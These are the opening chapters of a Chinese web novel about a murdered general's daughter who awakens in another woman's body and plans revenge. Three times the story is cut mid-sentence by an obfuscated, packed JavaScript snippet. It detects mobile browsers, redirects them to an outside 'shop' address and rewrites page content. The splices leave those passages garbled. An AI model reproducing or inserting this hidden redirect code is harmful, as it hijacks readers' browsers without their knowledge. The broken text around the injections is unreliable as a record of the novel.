《嫁给宿敌来冲喜》 1. 惨死 永熙十年,京都,永安侯府。 中秋时节,晚风习习,清寒渐生。 府中长廊两侧挂着各式花灯,灯上绘制许多经典图样,其中以嫦娥奔月最为出名。 而最显眼的当属摆在正厅门前的折屏,折屏上画着四副生动的庆生图。 这是景大夫人一笔一划画出来的。 府中婢子正将膳房新鲜出炉的月饼分发给府中的每一个人。 往日里静谧无声的侯府,此刻却一派热闹景象。 只因今日是永安侯独女景昭的生辰,又恰逢永安侯夫妻得胜归京。 景家大房二房阖家齐聚,举箸共食,意甚欢洽。 夜沉沉,月溶溶。宴席散去,各人归家。 景昭裹着夜色进屋,檐角挂着的鎏金雕花铜铃随着她开关门的动作“叮铃”地响个不停。 这是二哥前年从圭南带来的小玩意,铃声清越动听,制造工艺极其繁琐。 当时她称病进庙不许任何人探望,二哥无法交到她手上,便亲自给她挂在屋檐上了。 景昭的两位兄长如今一个在南方一个在北方。 虽已有半年未见,但兄长们每月都会给她传来一封家书。 更不要提今天是她的生辰了。 不出所料,她的桌案上多出了两封信。 景昭一路小跑到近处却发现不太对劲,信上的字迹她没见过。 她怀着满腔的疑惑打开第一封信,只见开头处赫然写着:“奏报骠骑将军景叙薨逝事宜疏。” 捏着信封的手骤然用力。 什么狗屁疏题!谁这么大的胆子?竟敢如此诅咒朝廷命官! 景昭一点都不信,她一目十行看到最后。 “骠骑将军不愿被俘,跳崖而亡,尸骨无存。” 怎么可能!她的大哥智勇双全,战无不胜!怎么可能会死!这一定是假的! 景昭又去看第二封信,她的手不受控制地抖个不停,拆了好久才拿出里面的信。 一定是假的!说不定是二哥故意的,只为了吓她。 二哥现在越发过分了,什么玩笑都敢开。待他归家,她定要好好跟他聊聊! 这样想着,景昭也不再迟疑,徐徐展开信。 第二封的标题:“奏报骁勇将军景连薨逝事宜疏。” 死因是:“骁勇将军被敌人埋伏,不甘受辱,自刎而死。” 怎么可能!这怎么可能! 捏着信的指尖泛白,景昭脸上血色褪去,僵在原地。 她还记得大哥离京时对她说的话。 那天是今年一月的第一个暖阳天,她的大哥受命前往北璃。 金甲赤袍,银枪黑马,那张冷脸带笑,语气是难得的温柔,他对城门前一脸向往的妹妹说:“绵绵,等大哥得胜归来拿了军功就去向圣上请命,允女子自愿从军可好?我们的绵绵本应在战场上肆意挥舞刀枪,怎可被男女两字桎梏。” 那时的景昭笑着说好,期待着大哥得胜归来……早知如此,她定不会让自己哥哥为了她拼军功,落得如此下场。 她的二哥是在三月走的,皇帝派他去西南边境防止外族入侵。 二哥生来顽皮,不守规矩,喜欢带着她胡闹。但是每次归家都会给她讲有趣的故事,带来稀奇的玩具。 两个活生生的人,最终却被两封冰冷的文字宣告死亡。而他们的亲人却无法见到他们的尸首…… 她的肩膀微微颤抖,一滴清泪顺着泛红的眼尾落下,滴在那封信上,随着眼泪越流越多,那些信纸被洇湿了大半。 景昭抬起头敛下眼里翻涌的情绪,面无表情地擦干脸上的泪,她要去问问父亲!她的兄长们不可能如此轻易地死掉!究竟是谁要与景家为敌!是谁害死了他们! 结果她还未走几步,一股眩晕感自脑内直冲而下,被侵袭过的地方透着若有似无的刺痛,宛若全身的筋骨脉络上长满了细小但坚硬锋利的毒刺,掠夺她的力气,麻痹她的神经。 四肢骤然失了力气,她只觉脚下徒然一软,她还未来得及扶住身旁的柱子,身子便重重向前倾去,扑通一声摔在冰冷的地板上。 手腕上的赤红玉镯随着她的动作摔落在地板上,发出“叮”的一声,到底是没碎。 她顾不得身上疼痛,想要再次站起来,可她忽地发现,她现在全身上下都软的似一滩泥,连移动指尖的力气都没有了。 倒地时她看到了门外隐隐约约燃动着的火焰。 她想提醒侍卫,张口却只能听到自己微弱的嗓音。 “噔噔噔”的脚步声在寂静的闺房里异常清晰。 她的屋子里竟然有人! 而景昭却对此一无所知。 来人缓步而来,步履沉缓有度,不疾不徐。 她企图回头,可是四肢百骸依然透着一股绵软无力。 来人一步步走到景昭身旁,气定神闲地蹲下身来,细长的玉手用力地捏住景昭的下巴,迫使她只能抬头向前看。 他所在的位置很好,无论景昭再怎么看都看不到他的任何部位,甚至于衣物。 景昭现在唯一能够确定的是来人不是习武之人,因为习武之人或多或少都会长有茧子,但是他却没有。 那是一只养尊处优的手。 那人又取来一个黑色布条蒙住她的眼睛,致使景昭原本就不是很清晰的视线如今彻底坠入一片昏黑,什么都分辨不出来。 确保自己不会被看到后那人才肆无忌惮地开口说话。 "景大小姐不必做无谓的挣扎。你如今中了毒,任你百般挣扎,千般反抗,纵你妙手回春,华佗在世。到了如今,任谁都无力回天了。你且宽心,不必担忧你爹娘的安危。他们的境况,与你无半点差别。" 那人的声音很陌生,她想不出来会是谁。 景昭平息心中的火气,嗤笑一声,讽道:“怎么?杀人下毒的勾当都敢做,不敢让我看你的脸?阁下怕不是太没骨气了些。” 她没力气,说出的话也轻的不得了,只有凑近才能听到。 那人在她耳边低低地笑着,宛如恶鬼,令人生厌。 “事到如今,知道不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058972|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道仇人是谁又有什么区别?” “景昭,你真可悲。要怪只能怪你自己心比天高,总是痴人说梦。你记着,女子生来便注定要依附于男子。你自命清高,认为自己是天之骄女,无人能够伴你身侧。真是可笑。” 他将自己手中的剑放到景昭手边。 “你猜我发现什么了?这居然是铁面将军的佩剑。景昭,你竟敢伪造身份从军,倒是我小瞧了你。” 他的嘲讽对景昭没有一点影响,趁着他滔滔不绝讲着自己狗屁歪理的时候,景昭强忍身上针扎似的疼痛,缓慢地一点一点地将自己的手移动到剑柄上。 她快要握住的时候那人却察觉到了,直接用脚踩着她的手,毫不费力地把剑拿走。 他脚下用力,那只白皙的手背顷刻被青紫占据。 手上源源不断传来痛意,景昭面上不显,仍旧如之前那般从容。 冰凉的剑柄被抵在她手背上,耳边传来他嘲讽意味极强的声音:“你在想什么?” 景昭轻笑一声,毫不掩饰自己对他的嫌恶和厌弃。她语速缓慢,吐字清晰,一字一顿地说道:“别碰我的剑,像你这样的人,根本就不配执剑!” 那人直起身,慢悠悠地绕着她转圈,他享受她的愤怒,他仰面笑了几声,说出的话却犹如刀子一般扎透景昭的心脏:“你的剑?景大小姐莫不是搞错了吧,铁面将军可是男子啊。” 波澜不惊的表情终是维持不住了,体内毒素无声地渗透她的五脏六腑,她现在连呼吸都成了问题。 疼痛在身体里累积,景昭的五指极其缓慢地收紧。 那人默默地看着她挣扎,脸上的快感愈发明显。 “你闻到了吗?火燃烧的味道。它们马上就要烧到这间闺房里了。” 他笑的猖狂,字里行间尽是阴谋得逞的喜悦。 “你莫忧心,无人知晓景家究竟是怎么被灭门的。此事最后的结果只有一个,那就是景家杀戮之气太重,引来天火,致使灭门。” “被活生生地烧死实在是太痛了对吗?无妨,我一剑下去你就能安息了。黄泉路上一路走好,整个永安侯府都会陪着你的。”说着他握住手中的剑,一寸寸地将剑从景昭心口刺下去。 剧烈的疼痛激得景昭想要喊叫,那种撕心裂肺的痛感从胸口处一直蔓延到四肢百骸。突如其来的强烈窒息感让景昭有了快要死掉的实感。 意识渐渐模糊,热浪扑面而来。 顺着心口流出的血一直蔓延到手腕,赤红玉镯浸泡在血水里,散发出淡淡的红光。 红色的血伴着满院的火,微弱的呼救伴着呼啸的风声。 …… 三更时分,永安侯府突发大火,周遭百姓对此一无所知。 熊熊大火一直烧到破晓之时。 等天亮时才被人发现,此时永安侯府早已成为一片废墟。全府上下二百余人无一人生还。 大理寺调查多天无果,将此案判定为天火作祟,并非人为。 受尽尊崇的永安侯府因这一场大火被冠上杀戮过重神佛降罚的污名。 2. 重生 天火过后七天,距京都五百里外的辞阳降下了今年的第一场大雨,这场大雨下了整整三天三夜。 自永熙九年以来,辞阳突发大旱,庄稼颗粒无收,百姓食不果腹。 满街灾民,属实可悲。 然朝廷却对此不闻不问,徭役赋税不降反增,百姓苦不堪言,要么背井离乡,要么携妻子共赴黄泉,只求解脱。 纵是人间炼狱,也不过如此。 所幸天降甘霖,能解近年之困。 消散的意识回笼,冰凉的躯壳渐渐恢复温暖。 温热的手帕拂过榻上之人清丽的眉眼,无人注意到她翕动的眼睫。 模糊的声音自身旁传来。 “夫人,这些小事奴做就是了。您不必如此。” 那同样是很陌生的嗓音,音色带着少女特有的清甜。 景昭轻抬眼睫,在一片白雾中看到了婢子口中的夫人。 榻边坐着的妇人虽年近四旬,但却肤色白皙,眉目如画,纵是年岁稍长,也难掩盛世风姿。她身着青色襦裙,端庄秀丽又温婉动人。只是眉峰微蹙,无故添了几分愁绪。 她轻声开口,看向榻上之人的眼神是说不尽的柔和:“无碍。若我做的这些能让我的绵绵醒过来就好了。” 一旁的婢子收回手,脸上也沾染了些哀愁,她温言抚慰道:“夫人如此心意,定能感动神佛。二小姐也一定会醒来的。” 话虽如此,婢子却深知一个昏迷了三年有余的人是不可能轻易醒过来的。她也只不过是挑着好话说,让处于悲痛中的人得到些心理安慰罢了。 听她这样说,正在琢磨该如何睁眼的景昭没有丝毫犹豫地睁开眼睛。 正巧和一旁盯着她的妇人对视,四目相对间比言语先来的是妇人滚烫的眼泪。 豆大的泪水滴落在榻上之人露出的玉臂上,温热的感觉顺着肌肤一路向里蔓延至四肢百骸。 “绵绵,我的绵绵!” 妇人急不可耐地俯下身,将榻上之人抱个满怀。 猝不及防地被温暖包围,景昭还没反应过来,愣愣地看着陌生的女人。 直到景昭整个身体都被捂热后,那妇人才后知后觉地起身,看着旁边瞪大双眼满眼开心的婢子吩咐道:“木槿,你还愣着干吗?还不速速去将此事告知老爷。” 那婢子骤然回神,连说三个是,忙不迭地向外跑去,脚步虚浮,拐弯出门的时候还险些摔倒,背影里也皆是藏不住的雀跃。 景昭不认识她。 影响视线的白晕淡去,映入眼帘的是一张非常陌生的脸。她的泪水好似决堤洪水,源源不断地自眼眶中流出。 景昭确信,这是她们第一次见面。 可妇人的表现却告诉她,她们是极度亲密的亲人。 “我的绵绵终于醒了!” 妇人双手紧紧地箍住景昭的手臂,景昭眼里的困惑与警惕深深地刺痛她的心。她再次将景昭拥入怀中,那只细长白皙的手一下一下地抚摸着怀中人的秀发。 她贴着景昭的侧脸,柔声道:“绵绵,你不记得娘亲了吗?”,语气轻的好似春日细雨,润人心田。只是话里的落寞为此添了一抹凉意。 未等景昭说话,门外便传来了匆匆的脚步声。 来人身形颀长挺拔,如青松翠柏。一袭素色圆领衣袍更是衬得其眉眼清隽。 一向沉稳的柳满城在看到睁着眼睛看他的女儿时,终是没忍住红了眼眶。 他声音颤抖,疾步上前抱住母女二人,嘴里喃喃地叫女儿的小名:“绵绵……” 景昭更不解了,她的小名的确就叫绵绵。但是抱着她的两个人她一个都不认识。 未搞清状况,景昭只得由着两个人抱她。 直到妇人再次开口:“为何偏偏是这个时候?” 她满脸惋惜地看着景昭,眼里尽是不舍。 柳满城也轻叹一口气,仰面说道:“这就是命啊。”说罢,他看向还在落泪的杨笙,脸上扬起了释然的笑,再次重复道:“笙儿,这就是我们女儿的命啊。” 什么意思?景昭抬头看着他们两个。 杨笙捏着手帕擦掉脸上的泪,对景昭解释:“你不记得了吗?自你降世那天起,先帝便将你许给了九皇子,也就是现在的闲王。圣旨上定下的婚期就在下个月。” 九皇子……闲王……也就是她的对头,燕池! 可是和他有婚约的是辞阳柳家二女柳春意,不是永安侯景烨之女景昭啊。 如果这样的话,那她到底是谁? 细细想来,景昭不由得有些心惊。 她试探着开口:“京都近来可还太平?” 这句话让在场的三个人愣了一瞬,对视几眼,杨笙开口说道:“怎的问起京都的事了?”话虽如此,杨笙也没瞒着,对她说:“除去前几天那场天火外,京都倒也算是太平。” 景昭知道他们为什么犹豫,她在城关时无意间听说柳家二女是因为前几年的一场大火才陷入昏迷的,家里人对火有些敏感也在情理之中。 京都的火灾是切切实实发生了的,永安侯府确已落难。而她却在另一个身体里醒过来了。 她竟不知自己如今是该喜还是该悲了。可无论喜悲,她是定要回京找出凶手的! 和他们家有过节的,燕池算一个。 她可以好好利用这个机会。 不过…… 许是她在问完话后陷入了沉思,致使不知情的柳氏夫妇以为他们刺激到她了。 此刻正面面相觑,对着唇语。 似是在相互责怪。 眼瞧着两个人争得面红耳赤,景昭适时拉住身旁杨笙的衣袖,开口说道:“屋里好闷,我想出去透透气。” 杨笙敛下脸上神情,笑逐颜开,连忙应声:“好。”她扭头吩咐婢子道:“木槿,快带二小姐出去走走。” 木槿强压内心喜悦,规规矩矩地行礼,朗声道:“是!” 木槿扶着景昭走到屏风后方换衣。 大概是太久没有活动,景昭迈腿都成了问题。只觉周身肌肉酸痛不堪。 杨笙看向面前呆立着目视景昭离开的柳满城,眉头微皱,颇有些恨铁不成钢地道:“还愣着干嘛?绵绵刚醒,还不快去开些养身的药给她。” 柳满城面上带笑,被吵也不恼,笑嘻嘻地奉承道:“还是夫人想得周到,我这就去。” 大雨初霁,青石板上不可避免地留下了积水,倒映出对面的绿瓦白墙,好似天然明镜。院内桂花枝头上的残雨被风吹得簌簌落下,滴落在地,激起阵阵涟漪。 凉爽的风吹起满廊的桂花香,心脏的刺痛被慢慢抚平。 景昭倚着栏杆,有一搭没一搭地和木槿闲聊。 从木槿口中得知了不少事。 风倏然变大,吹落廊前桂花。 景昭下意识抬手接花。 随着她的动作,衣袖垂落,腕上的赤红手镯露了出来,和她之前戴的那个一模一样。 为何柳家二女也有此物? 此镯是她之前救的一个南疆人给她戴上的,说是能够在逆境时给予她一条新出路。 所以,这就是她所说的新出路? 未等她想清,木轮椅轱辘碾过泥地,沉闷的咕噜声混着泥水落地的啪嗒声从廊角传来。 很稀奇,如此细微的声音景昭却听得异常清晰。 “田桑云!我说过我不出去!你是要造反吗?!” 男子的怒喊打断了景昭思考。 田桑云,苏州节度使田卯之女,柳氏嫡子柳林之妻。 顾盼生辉,仪态万方,蕙质兰心,才情卓绝,芳名遍传苏州。虽已到适嫁年龄,但因其家世高,眼光高,满苏州无一人入得了她的眼。 柳氏是辞阳远近闻名的医学世家,可偏偏这一代的独子柳林偏爱武艺,不愿从医。柳满城向来宠爱子嗣,便也由着他了。 因苏州前些年发生疫病,柳氏一族派出数人前去治疫,柳林自愿前去护送草药,路遇遭人劫持的田氏女。路见不平,拔刀相助。在相处中,两人互通情愫。田氏女不顾家人反对毅然决然嫁入柳府,可惜好景不长,同年七月柳林随好友上山御马踏歌,马突发疯,柳林落马,不幸摔伤。 素来以医学高超著称的柳氏全府上下竟无一人能治此伤,于是,未及弱冠本应意气风发浴血沙场的嫡子柳林便只能在轮椅上度过余生。 就在这一年八月,柳春意闺房起火,自此昏迷不醒。 这全是木槿刚才告诉她的,算算柳林的伤应有两年了。 “柳林!你竟敢凶我?!” 女子被吼之后也不甘示弱,说话的声音比柳林还大。 柳林噎了一下,看着眼眶通红的妻子终是没继续和她较劲。 反而是攒足了劲锤自己受伤的腿,发出的闷响声连远处的景昭都能听见。 可想而知他使了多大的劲,景昭瞧着便觉得疼。 只听他说:“我这辈子也就这样了,可你正值妙龄。尽管你与我和离,凭借你的才貌和家世,你定能找到称心如意的新郎君。”说罢,他不再看田桑云的脸,吞下喉中哽咽,平静地说出最后一句话:“你不必在我这颗枯树上吊死。” 田桑云表情微变,语气不免沾上了些愠怒,她道:“你什么意思?你要与我和离?” “对,和离书我已写好置于桌上,就只等你签字画押。” 眼瞧着两个人又要争吵,景昭及时出声,哥字在她口中绕了几圈终是未被说出口:“好巧啊!” 两人闻声向前看过来,待看清发声之人的长相后柳林双眸微张,眼里尽是惊讶欣喜。 “春意?!你醒了!太好了!” 景昭的腿还是有些酸疼,只得扶着栏杆朝着他们的方向走去。 无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058973|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎样,她终究是占据了柳氏二女的身体,既然顶替她身份这件事无法改变,那她就必须要为他们一家做些力所能及的事情。 更遑论“柳林”这个身份帮了她不少忙。 她与柳家的孽缘可真是不浅。 两拨人在连廊中间碰面。 田桑云紧握住轮椅的推手,脸上挂着僵硬的笑,看着面前对她来说很陌生的人。 柳林转身牵上田桑云颤抖的手,将她引至自己身旁。 他喜色浮于眉宇,嗓音略带着歉意,给景昭介绍道:“春意,这是大嫂,田桑云。她有些怕生,不是不喜你,你切莫介怀。” 田桑云脸上的紧张景昭看的一清二楚,她漾开笑脸,真挚地夸道:“嫂嫂好生秀丽啊,柳家有你可谓是三生修来的福气。” 夸奖很容易能够拉近距离,田桑云砰砰跳动的心渐渐恢复正常,眼底漾起细碎的光,嘴角噙笑。 景昭又对着柳林说:“兄长腿上的伤,竞直至现在还未好。不知可否能让妹妹瞧瞧?” 柳林眉头微蹙,唇边泛起苦笑,他叹了一口气,有些释怀地说道:“不必了,我这伤没救了。” 景昭指尖轻扬指向柳林的腿,左手肘轻倚右手掌间,微微倾身,语气中沾染了些骄傲:“区区骨裂,不过尔尔。兄长可否信妹妹一次?” 景昭自信的神情总能很轻易地打动人,柳林眼里的期待满的快要溢出来了,但最后却只是轻摇了下头,颓败地说:“不必了。父亲找了许多人,得来的结果都是一样的。” 景昭直起身,眼底没有胆怯只有对自己医术的自信,“哦,那是因为当时我还没醒。否则兄长定不信世上会有不治之症。” 柳林抬眸轻掠她脸庞,后者目光清亮笃定,面对他质疑的视线依旧不卑不亢,眉眼间尽是坦荡。 柳林不免有些动容,良久,他点了下头, “好,兄长信你。” 景昭母家纳兰氏是全大雍医学造诣最高的氏族,小到易治的风寒,大到棘手的肺痨,在纳兰氏眼里都是动动手指就能治好的小伤病。 正如她所说的,区区骨裂,不过尔尔。 待柳氏夫妇得知消息赶来时,景昭刚好放下布条。 景昭站起身给田桑云让出位置。 她对着不明状况的柳氏夫妇宽慰道:“爹娘不必着急。兄长休养三月,下地走路不成问题。” 音色清亮,言语间满是矜傲之意, 困住柳府半年的问题在景昭轻飘飘的一句话下烟消云散。 本应开心,柳满城却还是没忍住问了一句:“绵绵,你怎会正骨之术?” 景昭猜到他们会问,说出早就想好的措辞:“爹爹有所不知。我昏迷的这几年里,总是梦到一堆医书,日日与医理相伴,久而久之也学会了许多。如若爹爹不信,大可向我提问。” 虽说她的话有些匪夷所思,但柳氏夫妇愿意相信,觉得女儿昏迷的这几年没有他们以为的那样糟糕。 杨笙笑着笑着却又皱起眉头,叹道:“可惜了。那纸婚书终是断送了绵绵一生。” 景昭知道她为什么这样说。 皇室宗族大多以女子贤良柔淑为德,能医善武者是会遭人唾弃的。 杨笙不知道她的这一身医术于她而言究竟是祸是福。 一个不合时宜的想法浮上心头,杨笙随心脱口说道:“只要我们不说,无人知晓绵绵醒来之事。若绵绵未醒,这桩婚事便只得作罢。” 她这一番话赢得了屋里除当事人外所有人的支持。 怎么可以这样! 景昭反驳道:“不可如此,这可是欺君之罪。” 虽只相处了一晌,但景昭却深知柳府对二女的爱,他们是断不愿置女儿于火海的。 可她必须归京。 景昭上前一步牵起杨笙的手,侧脸贴上去,顺着手的方向抬眸望向杨笙的脸,柔柔地说道:“母亲不必忧心。国师扬言我可以救闲王一命,昏迷这几年我也切切实实地学到了许多。或许我是神佛特意指去救闲王的,我既因闲王拥有一身医术,也应当报答回去。” 杨笙轻抚女儿的脸,眼底蕴藏着无尽温柔,紧绷的嘴角忽地扬起,她轻笑一声道:“既如此,便随你罢。我的春意可是顶顶好的。” 旁边看着她们不置一词的柳满城拢了拢衣袖,喉间溢出一声低叹,带着几分说不出的怅惘。 杨笙扭头就是一记眼刀,压抑着的情绪被她发泄出来:“你叹什么气?!绵绵醒来的事你告知圣上了吗?绵绵的药你熬好了吗?得暇叹气无暇做事吗?” 突如其来的变故打的景昭有些措手不及。 未等她说话,杨笙敛下坏情绪,换上一副慈母的样子温和地注视着她。 景昭心里清楚,如今世上再无永安侯景烨之女景昭,有的是辞阳柳府柳满城之女柳春意。 她姓柳,不姓景。 3. 找事 翌日清晨,柳春意被外面叽叽喳喳的声音吵醒。 她坐起身来,扬声问道:“木槿,院里为何如此吵闹?” 门外的木槿跑进屋,平复呼吸后回道:“老爷熬药时不慎伤了腰,怕是要休养几天了。可医馆现在无人在职,外头人正发愁呢。” 柳春意颔首,“告知母亲不必担忧,我去就好。” 柳春意的医术大家有目共睹自是无人质疑,木槿按她说的那样去回话。 马车慢悠悠地驶向医馆,柳春意掀开车帘,映入眼帘的不是她想象中满是小铺的街道,而是满街衣衫褴褛叫饿不迭的难民。 眉头不受控制地狠狠一皱,柳春意心骂:“该死的朝廷!” 路的另一头也驶来一辆马车,似乎是外来之人,柳春意还未看清全貌,那辆马车就被街边难民包围了。 不出多时,马车被掀翻,车主狼狈地站在一旁,气得脸红脖子粗。难民围成一团哄抢车里的有价值之物,嘈杂的声音也遮不住车主的谩骂声。 木槿的声音从马车外传来,只听她说:“小姐不必害怕,柳氏救助了不少人。他们是不会拦截我们的。” 自从辞阳遭遇大旱,农事不景气后,柳氏医馆从未收过病者一分钱。如此善行,也为他们结了不少善缘。 几人平安到达医馆。 只是,为何此地有两个医馆? 木槿引着柳春意走向柳氏医馆,解释道:“对面是当地富商岑家新开的医馆,岑家一向不喜我们柳家。” 柳春意未置一词,她到的时候医馆已经有人在等了。 所幸都是些易治的小病,并不费神费力,反而还让柳春意心里盈满了满足感。 柳氏医馆有多热闹,岑氏那边就有多冷清。 岑家嫡子岑玉成焦急地在空旷的医馆内踱步,目光似淬了毒的刀子,死死地钉在柳氏医馆的牌匾上。 小厮看出自家公子的不对,讨好地倒了一盏茶,趋步上前,毕恭毕敬的跪下把手中的白玉茶杯举过头顶递给岑玉成。 岑玉成斜睨了他一眼,不耐地拿过茶杯。 小厮脸上谄媚的笑意浓得化不开,声音放得又轻又柔,讨好地说:“公子别担心,柳氏医馆已经营百年,而我们才刚起步。如此这般倒也正常。” 岑玉成哼笑一声,猛地把手上的白玉茶杯砸在桌上,气力之大,茶杯应声而碎,温热的茶水撒他一手。 小厮在心里默默为茶杯悼念。 岑玉成拂去桌上碎片,吩咐道:“叫几个年轻力壮的人来,柳氏安稳了这么久,也该出点事了。” 小厮连连称是。 柳春意写完最后一味草药,清丽的眉眼含笑,周身都透着一股温和的气息。 她将药方递给面前的老婆婆,唇边漾着一抹浅笑,语声轻缓道:“阿婆,带着药方去药台那边取药罢。” “谁是掌柜的!” 这一声粗犷的喊叫几乎是一瞬间吸引了所有人的注意。 来人身形魁梧,粗眉大眼,方脸阔额,目光锐利如刀,看着就不好惹。 柳春意毫无惧色,眉梢轻挑,站起身来应道:“掌柜在此,不知阁下有何贵干?” 来人在看到说话的是女子后,嘴角扬起一抹讥诮的弧度,眼里尽是对她的不屑。 他直视柳春意的眼睛,语气轻慢,桀骜地说:“一个女子不好好在府邸相夫教子,整日抛头露面成何体统。” 柳春意双臂环胸,低头避开来人充满挑衅意味的视线。 好好说话,不要生气。 柳春意在内心重复这两句话。 …… 这要是忍了她就不是人! 清眸被冷意占据,怒火凝在内里。柳春意抬眸凝视来人,嗤笑一声道:“阁下不免有些失礼了罢。” 她缓步走近,明明嘴角含笑,眼底却带着几分凌厉,撼人心魄,令人生畏。 柳春意在众人的注视下走到来人面前,尽管来人身高压着她,她仍旧是那副傲然模样,丝毫不怯。 隐约间,竟是她占了上风。 柳春意一字一顿道:“我如何,与你有何关系?” 木槿闻声赶来,看清局势后,杏眼含怒,站在柳春意面前。 脊背挺直,语气带刺:“官府可不是摆设,阁下若是来无事找事的,倒也不必在医馆,我们官府见!” 柳春意看着比自己还要矮一点但却丝毫不惧挡在她面前的木槿,面上有些动容。 来人道:“谁说我是无事找事?你们这医馆,竟敢拿失效的草药糊弄我们!如若不是岑氏告知,我老娘也不知要被骗到什么时候!” 他将一个印有柳氏医馆的药包掏出来扔在地上。 他这一番话,引来了医馆其余人的惊呼。 “弟兄们,把这害人医馆给我毁了!” 随着他一声令下,屋外闯来一群虎背熊腰一身腱子肉的人,直奔屋内摆设而去。 柳氏医馆的小厮上前拦着。 医馆内的人被迫出去,咳嗽声叫疼声伴着破坏的叫喊声在这一片响起。 门外久侯多时的岑玉成装作路过,惊讶地道:“柳氏怎的如此!我们岑氏的人品大家都有目共睹,大家大可移步岑氏医馆,我们不会像柳氏这样,不把人命当命的!” 他殷勤地带着一众人走向岑氏医馆。 那点坏心思,真是昭然若揭。 木槿在混乱中捡起来药包端详一番后,就要追出去,她辩驳道:“我们药包上都会写有时辰,这个却没有,这不是我们的药包!各位不必着急,我们医馆是不会有失效的草药的!” 来人将她拽进屋子里,哼笑道:“左右不过一句话,谁信你们。给我砸!” 柳春意抚上木槿的肩,将她带到自己身后。 “我看谁敢!” 中气十足的声音游荡在柳氏医馆的各个角落,那一群人停下动作看向最中间的柳春意。 “阁下与其空口污蔑,不如拿出证据来。我们柳氏医馆都是有登记的,不知阁下母亲是何年何月何日何时来的呢?” 来人不满道:“我老娘年过七旬,怎么可能记得清这种小事!”,他看向不为所动的帮手,怒道:“还愣着干什么?砸啊!” “既如此,切莫怨我。” 脸上假笑散去,柳春意抬腿就是一脚,重重地踹在来人脸上。 来人没有任何防备地被踹翻在地,血腥气在嘴里蔓延,血水混着白牙从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058974|194960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他无法闭合的嘴里流出。 柳春意也没想到自己力气竟会这么大。 未等他站起身来,那只细长玉手攀上他的脖子,渐渐收紧,喉内空气被挤压殆尽,黝黑的脸憋得通红。他实在是不解,一个柔弱女子,气力为何如此之大! 那张清丽的脸缓缓浮出笑意,可眸中却无半分波澜,像在看一个死人。 柳春意慢条斯理地理着衣袖,低语道:“不想死就去给我解释清楚,是谁命你诬陷柳氏。” 他本就是收了银子才来的,为了几两银子丢了命的话就太不值当了。 木槿呆呆地看着这一幕,只觉现在的小姐威武到爆炸。 柳春意收回手,那人站起身来招呼他的人离开。 “等等,损坏的摆设在戌时前摆好。” 那人立马应声,带着柳春意走向岑氏医馆。 他走到正门前,直挺挺地跪了下去,大喊:“抱歉乡亲们!我不该骗你们!柳氏医馆一向行善积德,他们是不会干那种用失效草药打发老百姓的缺德事的!都是岑氏人教唆我的啊!那失效草药就是岑公子给我的啊!” 岑氏医馆里的百姓大骇,怒骂岑玉成,一波接着一波地转身走向柳氏医馆。 岑玉成一向养尊处优惯了,何时受过如此大的气。 他出去就要给那人一巴掌。 柳春意眼疾手快拉着那人后退一步。 她挑眉睨着岑玉成,说出的话轻飘飘的,尽管如此也掩不住那刺人的嘲讽:“怎么,岑大公子敢做不敢认?” 岑玉成这才注意到那人身边的女子。 女子秀眉明眸,朱唇榴齿,生的那叫一个仙姿玉色,活像是从美人画卷中走出来的。 她身着一袭雪青色暗花荷纹齐腰襦裙,外穿着一件月白色祥云纹丝绸窄袖披风,这么一套温婉柔和的衣服穿在她身上,偏生出一股活泼意味。 很是惹人喜爱。 岑玉成收回手,从腰间取出一把山水风折扇。 “唰”地一声展开,金墨在阳光的照射下闪着微光,他握着扇柄轻轻晃动,风吹起墨发,那张带着少年气的脸上含笑,温柔地看向柳春意。 “小姐说笑了,岑某向来敢做敢认。只是岑某先前未曾见过小姐,不知小姐可否告知鄙人你的名讳?” 这人跟脑子有问题似的。 柳春意白了他一眼,语气冷淡:“姑奶奶姓柳名春意。” 岑玉成又“唰”地一声收起扇子,轻敲手背,来回踱步,嘴里不停念着她的名字。 “柳春意,好名字!我是辞阳第一富商岑盎之子,岑玉成是也!” 他伸出一只手递到柳春意面前,故作君子地欠身说道:“幸会。” “哦。” 一只温热的手放在岑玉成的手上,竟是比他的手还大!有趣! 岑玉成缓慢地收紧手,大拇指轻轻地摩挲起来。 他含情脉脉地抬眼,和一双略显局促的小眼对视。 “岑公子,还请自重啊!我不是断袖啊!” 他握着的竟是那个他派去找事的人。 岑玉成立马嫌恶的松开手,招来小厮给自己擦手。 目送柳春意走进柳氏医馆。 4. 相处 柳春意接待完最后一位病者时,日头已经落了。街上黑灯瞎火的,柳林不免有些担心,和田桑云一起在府外等着。 待马车驶近,田桑云推着柳林迎上去,主仆二人甫一下车,柳林只消一眼就看出木槿的不对劲,素日叽叽喳喳说个不停的丫头今日颇为安静地走在后头,实在反常。 